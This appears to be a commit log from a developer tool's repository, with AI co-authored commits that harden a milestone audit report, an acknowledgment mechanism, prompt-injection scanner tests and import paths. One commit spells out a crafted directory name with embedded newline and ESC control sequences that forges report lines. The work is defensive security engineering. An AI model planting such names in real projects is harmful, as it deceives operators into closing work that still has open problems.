unreadable archived root still leaving the active half scanned; the duplicate-name case producing two distinct entries that the human report distinguishes; and the v1.10-before-v1.9 ordering. `docs/COMMANDS.md` documents the archived scanning and the new field. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): stop filesystem names forging lines in the audit report Found by the security review of this branch. Pre-existing on `next`, fixed here because it defeats the exact gate this PR is hardening. `audit-open`'s human report is the surface `/gsd-complete-milestone` shows an operator to decide whether a milestone may close. A `.planning/` tree authored by someone other than that operator — a cloned repo — could contain a directory literally named: zz<newline>0 open items require decisions.<newline><ESC>[2K<ESC>[1G FORGED and the report printed `0 open items require decisions.` as its own line, with raw ESC bytes reaching stdout able to erase or overwrite the lines above it. Reproduced against the real CLI before fixing, and again after. ## Why not just harden sanitizeForDisplay Because that helper's contract is multi-line prose — it removes protocol-leak lines while deliberately preserving the newlines between legitimate ones, which `tests/security.test.cjs` pins. Stripping CR/LF there would have broken a correct test to paper over a different problem. The two jobs are genuinely different, so there are now two helpers. New `sanitizeLabel` (`src/security.cts`) is for values that are semantically ONE LINE and derived from a filesystem NAME. It ESCAPES rather than strips C0 (including ESC/CR/LF), DEL and C1, so a doctored name renders visibly as `\n` / `\x1b` instead of being silently normalized — the report stays honest about what is in the tree. Ordinary input passes through byte-identical. ## Nine sites, not four The first pass covered the four phase-scoped scanners. A sweep of the rest of the file found the identical class in five more — `scanDebugSessions`, `scanQuickTasks`, `scanThreads`, `scanTodos`, `scanSeeds` — emitting name-derived `slug` / `filename` / `seed_id` through the prose sanitizer. `scanQuickTasks`' `date` had no sanitization call at all. Every emitted field in the file is now classified and the sweep recorded: `slug`, `filename`, `seed_id`, `phase`, `file`, `archived_milestone`, `date` are name-derived and take `sanitizeLabel`; `hypothesis`, `status`, `updated`, `title`, `priority`, `area`, `summary`, `questions[]` and deferred-item `text` are content and keep `sanitizeForDisplay`. No name-derived value reaches output unsanitized. `--json` was already safe — JSON string encoding escapes control characters, and a crafted name cannot break out of the string. Verified rather than assumed. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#3458): backfill changeset pr number * test(#3458): skip control-character fixtures where the OS forbids the name CI red on `test (windows-latest, 24, shard 1/3)`: the four forgery-rejection tests build directories whose names embed a newline and ESC, and NTFS forbids control characters in path components, so `mkdir` threw ENOENT. The remote runner is Linux-only, so it could not have caught this class. Semantically the skip is honest rather than a workaround: on Windows the directory-name forgery vector does not exist, because the OS refuses to create the name. The sanitizer's own behavior stays covered there by the `sanitizeLabel` unit tests, which are pure string tests with no filesystem calls — verified. Uses the repo's established capability-probe convention (`tests/adr-index-gate.test.cjs`'s `trySymlink`), which `t.skip()`s on the real errno rather than branching on `process.platform`, and whose comment gives the reason: a bare `return` "would silently report a PASS ... and hide the gap this guard exists to close". A skipped test is visibly skipped. Swept every test added on this branch for names Windows would reject or POSIX path assumptions; these four were the only ones. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(#3458): make [A] Acknowledge actually suppress, without overwriting a verdict Making archived phases visible exposed the other half of the problem: an item unresolved at a milestone close now resurfaces at every later close forever, because `[A] Acknowledge` wrote a prose block to STATE.md that `auditOpenArtifacts` never reads. `verified_closeout` became unreachable and the gate degraded to a mandatory `[A]` every time. ## The prompt does not change `[A] Acknowledge all` already promises "document as deferred and proceed with close". It documented but never deferred. This makes `[A]` do what it says. `[R]` and `[C]` stay abort paths. No "carry forward" option is invented — an item that is not acknowledged simply keeps surfacing, which is the default. ## The marker lives inside the artifact Not a ledger. The audit mints no ids and has no stable identity — `phase` is a token that collides across directories, `file` for deferred items is a constant, and identity otherwise degrades to the item's own prose after a lossy sanitizer. Any ledger must re-derive that key every close, so a reworded item silently un-suppresses or, worse, mis-suppresses a different one. Storing the acknowledgment next to the thing it suppresses makes that class of bug structurally impossible, and it is the pattern `src/uat.cts` already argues for with `deferred-items.md`'s in-place `status: resolved`. ## The marker is verdict-preserving and self-invalidating `status:` is never overwritten — writing `resolved` into an unresolved UAT would be a lie in the artifact of record, and the disclosure has to be additive. audit_acknowledged: milestone: v1.0 at: 2026-08-15 status: gaps_found # snapshot of what was true when acknowledged Suppression applies ONLY while the snapshot still matches reality: `status` for seven categories, `question_count` for context questions, and for deferred items a new per-entry `status: acknowledged` distinct from `resolved`, which keeps meaning "actually fixed". Change the artifact and the acknowledgment stops applying, so the item comes back on its own. That is what makes re-opening answer itself with no extra state, and it fails in the safe direction: a stale acknowledgment can never hide a NEW problem. A malformed marker is treated as absent — a bad marker must never silence an item. The check is ONE shared `isAuditItemAcknowledged`, not nine copies. This file has already been through that defect family twice in this PR. ## Observable, not silent `audit-open --json` now reports an `acknowledged` count beside `counts`, so a reviewer can tell a close that is clean because things were fixed from one that is clean because things were silenced. ## Writer New `audit-open acknowledge` verb snapshots current state itself, so the marker is never hand-authored from workflow prose — the gap that left the STATE.md block with no writer, no schema and two conflicting formats. Writes route through the existing path-confinement seam. ## Two deliberate limits, failing closed Heading-delimited deferred entries (#3457) are REFUSED with `unsupported_heading_shape` rather than edited, because mapping a heading entry back to its exact source span is not safely derivable when headless and heading entries interleave in one file. A loud refusal beats a mis-targeted write. A quick task with no summary gets one created to carry the marker, since there is otherwise nowhere to put it. ## Tests Self-invalidation is the important one and is covered per category: acknowledge, then change the status or question count, and the item resurfaces. Also malformed markers not suppressing, `status:` byte-unchanged after acknowledging, the writer refusing a path outside the project, and the four original #3458 scenarios unchanged. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * feat(#3458): wire [A] to the acknowledge verb and converge the disclosure table Consumer side of the suppression seam. ## The workflow stops hand-authoring the mechanism `[A]` now calls `audit-open acknowledge` once per open item, then writes the STATE.md `## Deferred Items` table as before. The table stays as a human-readable disclosure; it is no longer the mechanism. That closes the gap where the block had no writer, no schema and no reader — the marker is now written by the tool, which snapshots current state itself. The `[R]` / `[A]` / `[C]` prompt is unchanged, `[C]` still means "Cancel — exit without closing", and no carry-forward option is invented. The all-clear branch now distinguishes a close that is clean because items were FIXED from one that is clean because they were ACKNOWLEDGED, using the `acknowledged.total` count, and carries that into the MILESTONES.md disclosure line beside the existing override count. A clean close that was bought with acknowledgments should say so. ## Format drift resolved Two incompatible `## Deferred Items` shapes shipped simultaneously — 3 columns in the workflow, 4 in the template, with different body lines. Converged on one 5-column shape carrying the source Milestone, since archived items now appear and the archived-milestone disambiguator was previously discarded at write time. The workflow enumerates the categories instead of trailing off in `...`. ## Ack fragment bookkeeping `complete-milestone.md` grows 6,764 bytes (31,228 → 37,992; cap 61,440), covered by a new `tests/emitted-drift-acks/3458-*.json`. `2962-zsh-nomatch-for-glob-portability.json`'s `complete-milestone.md` entry is REMOVED — the no-duplicate-path rule hard-blocks two sources naming one path. That entry is spent: the nullglob shim it acknowledges is present in both `origin/next` and the CI emitted baseline `fd2b97a5`, so its ripple is already absorbed and it can never clear anything again — verified directly, not assumed, and the gate's own message directs deleting spent entries. Its other three files' entries are untouched. `scripts/sync-runtime-launcher.cjs` wanted to rewrite `explore.md` as well — pre-existing drift unrelated to this change, reverted. `complete-milestone.md` still carries exactly one canonical preamble. Docs cover the verb's real flag surface, the marker's verdict-preserving and self-invalidating behavior, and the new `acknowledged` count. A second `Added` changeset covers the verb, since the existing `Fixed` fragment describes only the archived-phase scanning. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): close three blockers in the acknowledgment seam Adversarial review of the seam. Three BLOCKERs, one of which disproves a safety claim I published in the PR body, the changeset and the docs. ## The claim was false; the code is fixed rather than the claim softened I wrote that "a stale acknowledgment can never hide a NEW problem". It could. `context_questions` snapshotted only the question COUNT, so replacing two acknowledged questions with two brand-new blockers kept the item suppressed. `uat_gaps` snapshotted only `status`, so adding five more pending scenarios (`open_scenario_count` 1→6) kept it suppressed. The snapshot now identifies CONTENT, not size: a digest of the whole question set, and a status + open-scenario-count composite. Any edit invalidates. The other seven categories were checked and their single tracked dimension is already the whole story. Both disproofs now resurface the item. ## Writing to the wrong line, and reporting success `acknowledgeDeferredItem` built an unanchored regex and exec'd it over the whole file while match-selection and the ambiguity guard ran over the section body only, so the write landed at the first match ANYWHERE. A file with `# Notes` holding `- Fix the parser` above a `## Deferred Items` section holding the same bullet: the CLI exited 0 saying `acknowledged: true`, injected `status: acknowledged` under `# Notes`, and re-audit still reported the entry open. It corrupted unrelated content, suppressed nothing, and claimed success — and since `--file` is unconstrained the same path could inject into a UAT or VERIFICATION body. Matching is now anchored to the selected section, and the matched span is re-verified against the selected entry before any write; a mismatch refuses with `match_verification_failed` rather than writing. ## Acknowledging todos hid the ones never shown `scanTodos` capped at five files and then checked acknowledgment. With seven todos, acknowledging the five that were LISTED drove `todos: 0`, `has_open_items: false`, and items six and seven never appeared in any later scan. The workflow's own "repeat until no todos items" remedy terminates after one pass. Pre-feature this was unreachable because the count was pinned at five. That is silent over-suppression — the exact direction this PR exists to remove. Acknowledged items are now filtered BEFORE the display cap, so unacknowledged todos beyond it still drive the count. ## The [A] branch could not fail closed Every acknowledge call sat in a `cmd | while read` pipeline with no status accumulation, so any refusal was discarded and the close proceeded as `override_closeout`. Separately, `io.output` swaps payloads over 50000 chars for an `@file:<path>` sentinel — every `jq` would then fail, every loop body run zero times, nothing be suppressed, and the close happen anyway. Both closed: failures accumulate across all invocations and halt before close, and the sentinel is dereferenced using the same pattern `verify_readiness` already uses for `INIT_MANAGER`. Quoting was verified sound by the review and is left alone. ## Also Suppression is now visible in the human report, not only `--json` — the "clean because fixed vs clean because silenced" distinction was promised for the surface an operator actually reads. The CRLF-preservation branches in the writer were dead: every `.md` write goes through `_normalizeMd`, which normalizes line endings and blank lines whatever the writer does. Deleted and documented rather than left as code that cannot run. ## Why these shipped The review named it exactly: there was no coverage for `unsupported_heading_shape`, `ambiguous`, `not_found`, duplicate-text mis-targeting, todos beyond the cap, or CRLF. All are now tested, alongside both snapshot disproofs and the mixed-section fixture. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#3458): align the items-open footer wording with its assertion Remote runner red on one test: the items-open footer must match `/previously acknowledged item/i`. The disclosure was NOT missing — the items-open branch already printed "N additional items previously acknowledged and still suppressed." The word order simply did not match the regex the test in the same change asserts. A wording mismatch between my own test and my own implementation, not a behavior gap. Reworded to "N previously acknowledged items also suppressed above the M open items", which satisfies the assertion and states the relationship between the two counts more plainly than the original did. Swept `formatAuditReport` for other branches that could skip the tally: the only early return is the all-clear path, which already discloses it. `scan_error` sentinels are filtered per category and excluded from `counts.total`, so an all-error project falls through to that same branch. No inconsistency remains. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#3458): splice by carried span, digest the untruncated question set Security review of the writer. Both findings are the same shape, and both are cases where an earlier fix of mine was incomplete in the same direction: a value derived for DISPLAY was reused for an IDENTITY or LOCATION decision. ## Writing to the wrong entry, again The previous fix anchored matching to the `## Deferred Items` SECTION but still re-found the entry inside it with an unanchored regex, so the write landed at the first SUBSTRING occurrence rather than the entry's own span. The `match_verification_failed` guard could not catch it, because the mis-targeted span is byte-identical to the target. Probe-confirmed, in a cloned repo's own artifact: - CRITICAL unfixed auth bypass see also: - minor typo - minor typo Acknowledging "minor typo" appended `status: acknowledged` into the CRITICAL entry, suppressing it at every future close, while the typo stayed open — exit 0, `"acknowledged": true`. A variant where the target text appears inside unrelated prose split that line mid-sentence, acknowledged nothing, and still exited 0, so the workflow's `ACK_FAILURES` halt never fired. Fixed structurally rather than with a better regex: `splitGapsEntriesWithSpans` carries each entry's own character span out of the splitter, and the write splices by that recorded span. The location is already known at selection time — re-deriving it by searching was the entire defect class. Added as a sibling so `splitGapsEntries`' three existing callers are untouched. With index-splicing, `match_verification_failed` becomes a genuine independent cross-check instead of a guard that could never fire. ## The digest was blind past the third question `deriveOpenQuestions` truncated to three questions, and clamped each to 200 chars, BEFORE the digest hashed it — so the snapshot could not see the fourth and later. Ship three innocuous questions, acknowledge, then add real blockers, and they are permanently invisible: measured `open=0, acknowledged=1`, report "All artifact types clear." That is the same self-invalidation property this digest was added to guarantee one revision ago. The digest now covers the untruncated list; truncation is display-only. Found while fixing it: the previous digest joined on a literal raw NUL byte embedded in the source — collisions are constructible, and reachable through attacker-controlled YAML `\x00` escapes. Verified both ways. Replaced with a length-prefixed encoding so no two question sets can collide by concatenation. ## Sweep Because this is the third incomplete fix on this seam, every identity and location derivation was swept for the display-vs-identity confusion: uat_gaps uses status plus a full-content count, the other seven categories use a scalar status or presence, the deferred `--text` identity is never truncated, and all five flat categories resolve their file by path rather than by content search. No further instances. Closes #3458 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#3458): correct two assertions that over-reached the measured behavior Remote runner red on two of the F1 tests. The source is correct — reproduced both fixtures against the built CLI — and both failures were bugs in the assertions I wrote. `src/` is untouched by this commit. The first is worth recording. It computed the CRITICAL entry's block as content.slice(content.indexOf('- CRITICAL'), content.indexOf('- minor typo')) and `indexOf` found the FIRST SUBSTRING occurrence, which lives inside that entry's own continuation line ` see also: - minor typo`. The block was truncated mid-line, so the assertion could never match. The test committed the exact first-substring-match mistake it exists to catch, one revision after that mistake was fixed in the source. The second asserted `deferred_items === 0` after acknowledging the typo entry, but the decoy `- Note: reference - minor typo elsewhere, ignore` is itself an open entry and was never acknowledged, so the correct count is 1. It now also asserts WHICH item remains open — that is what actually proves the right entry was suppressed, and the original assertion would have passed even if both had been silenced. Both now derive their expectations from measured CLI output. A comment records that the write seam normalizes markdown (`_normalizeMd` inserts a blank line before a list item following a non-list line) so the inserted line is not later mistaken for a regression; that is repo-wide behavior for every `.md` write through the single write projection, not something this change should diverge from. Root cause of both: the previous two dispatches verified behavior with direct CLI probes but never executed the test file, so assertions could over-reach what had actually been measured. Every other assertion added in those two commits has since been re-derived from real output; no further mismatches. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
311711754f |
docs(#3531): document where inherit must be set to reach tiered agents (#3550)
Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
8e5b15ed5d |
docs(#3523): correct allow-test-rule placement guidance for site-scoping (#3549)
Phase 4 of #3464 (#3508) changed allow-test-rule suppression from file-wide to site-scoped, bounded by an 8-line comment-pure lookahead. No phase of that epic updated the contributor docs, so CONTRIBUTING.md still told contributors to annotate 'before the file's opening block comment' -- a placement that, post-#3508, suppresses nothing below the require block. The documented remedy did not work. Found by running /adr-phase-coverage over the epic: the checker reported this as the epic's one orphan-decision, owned by no phase. Corrects the placement rule and its example, states that a marker binds to either half of the read+search pair, warns that copying the old file-header placement yields an inert marker, and documents what the gate's two numbers mean -- in particular that an 'unverified' marker is not evidence the marker is vestigial. Refs #3523 Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
66ad3d6250 |
test(#3523): rewrite two undetected source-greps as behavioral tests (#3548)
* test(#3523): rewrite two undetected source-greps as behavioral tests Both sites read a real shipped hook and text-searched it, and both were invisible to local/no-source-grep because the path was bound to a separate const the rule never resolves back to its literal. tests/check-update-config-dir.test.cjs carried three such reads, not the one the issue cites. All three are replaced by a harness that runs the real hooks/gsd-check-update.js under a fake HOME and observes the config dirs detectConfigDir resolved, via the env the hook hands its worker. Coverage now includes the CLAUDE_CONFIG_DIR precedence cases and the full adjacent-pair search order the deleted static grep only asserted for one pair. tests/security-prompt-injection.security.test.cjs asserted the scanner hook's SOURCE TEXT contained each canonical MARKDOWN_LINK_PATTERNS regex source. It now drives probes through the real hook and asserts the emitted ruleId, with a completeness gate so a new canonical pattern without a probe fails loudly, plus safePredicate parity the text grep never checked. No allow-test-rule marker is added. The now-false marker on check-update-config-dir.test.cjs is removed and its identity-allowlist entry pruned, which the ratchet requires. Refs #3464 * feat(#3523): emit typed findings IR from the read-injection scanner The scanner built a structured findings array internally and discarded the structure when rendering its advisory sentence, so the only thing a test could assert on was that prose. CONTRIBUTING's 'Prohibited: Raw Text Matching on Test Outputs' names that exact situation and prescribes adding the typed surface rather than matching the text. findings is now an array of {ruleId, match} records and the advisory is derived from it through a single renderFinding mapper, so the rendered text and the IR cannot drift. The array is emitted additively on hookSpecificOutput for both the advisory and blocking output shapes. The advisory string itself is unchanged, byte for byte: verified across six payload shapes (single markdown-link hit, 3+ finding HIGH, invisible unicode, unicode tag block, injection-pattern-only, mixed) by running the pristine and modified hooks against identical stdin and comparing. 28 existing assertions across four suites substring-match that string. The #3523 parity assertions now read the IR, and a new test binds the two surfaces together by asserting every MD-LINK ruleId in findings appears in the advisory and that the reported pattern count matches findings.length. Refs #3464 * docs(#3523): document the read-injection scanner output contract The scanner had no subsection under Security Hooks, only a one-line table row. Documents its trigger events, severity thresholds, skip conditions, rule ids, and the findings IR added alongside the advisory. Refs #3464 * fix(#3523): bind every finding family to the advisory, freeze rule ids Two review findings on the typed-IR commit. The parity test filtered on MD-LINK- and so bound only one of the four finding families to the rendered advisory; the other three were covered only by the pattern count, which catches a length mismatch but not wrong text. It now drives a payload producing all four families at once, asserts all four are present so it cannot silently degrade, and checks each one's expected rendering against an expectation table coded independently of the hook's own mapper. The three synthetic rule ids were written twice each — once at the push site, once in renderFinding — so a rename at one site would fall through the generic render branch with no signal. They are now a frozen RULE_IDS constant referenced from both. No string value changed; the advisory remains byte-identical across all six proof payloads. Refs #3464 * chore: pin changeset pr field to #3548 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
fd2b97a52a |
fix(#3544): restore tilde form for at-refs in the global spec tree (#3551)
* fix(#3544): restore tilde form for at-refs in the global spec tree A global claude install emitted @$HOME/.claude/gsd-core/references/*.md in its workflows and references. $HOME does not expand in a Claude Code @-import - only relative, absolute and ~ are documented, and a controlled /context test confirmed a $HOME import loads nothing - so 54 includes across 22 files silently resolved to nothing on a live install. This is a divergence, not a new bug. #3133 already applies exactly this correction to skill and command bodies through _applyRuntimeRewrites's claude case; copyWithPathReplacement, the spec-tree emit path, never had it. Both now call one exported helper, so the two surfaces cannot drift apart again. Deliberately narrower than changing computePathPrefix's return value: shipped markdown also carries double-quoted "$HOME/.claude/..." shell invocations, and ~ does not expand inside double quotes, so rewriting the prefix wholesale would regress #1284. Only @-prefixed references move. Refs #3544 * fix(#3544): derive the tilde restore from the resolved prefix Three review findings, one batch. The restore was hardcoded to the literal .claude directory, so a global install with --config-dir pointing anywhere else silently no-opped and reproduced the very defect this fixes. It now derives the tilde form from the resolved prefix, which also closes the same latent gap in #3133's original path since both call sites share the helper. The @-anchor is quote-aware, so a double-quoted shell path is never rewritten into a form the shell does not expand. Deliberately a lookbehind rather than a line-start anchor: @-references are documented to work mid-line, and anchoring would have traded a theoretical bug for a real one. Found while testing the above: the bare-form rewrites re-matched their own output whenever a config dir name extends .claude, emitting .claude-work-work. Guarded with the same negative-lookahead convention this file already uses to preserve .claude-plugin. The tests prove the emitted form, never that the host resolves it - no CI test can - and both the helper and the suite now say so, because an undocumented verification boundary is how this defect stayed green for its whole life. Refs #3544 * test(#3544): acknowledge the tilde-restore emitted drift The converter change moves 94 emitted paths that no source-file diff can explain, which is exactly the case the per-PR ack fragment exists for. Verified before acknowledging rather than after: both trees were built from real installs and every one of the 211 changed lines across all 94 paths is @$HOME becoming @~, with nothing outside that single kind. Nine spent entries were pruned from the #3151 and #2658 fragments. Those paths moved again here, and two ack sources naming one path is a hard duplicate error rather than last-wins, so the inert entries had to go before this one could land. Both fragments retain their remaining entries. Refs #3544 * chore(#3544): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |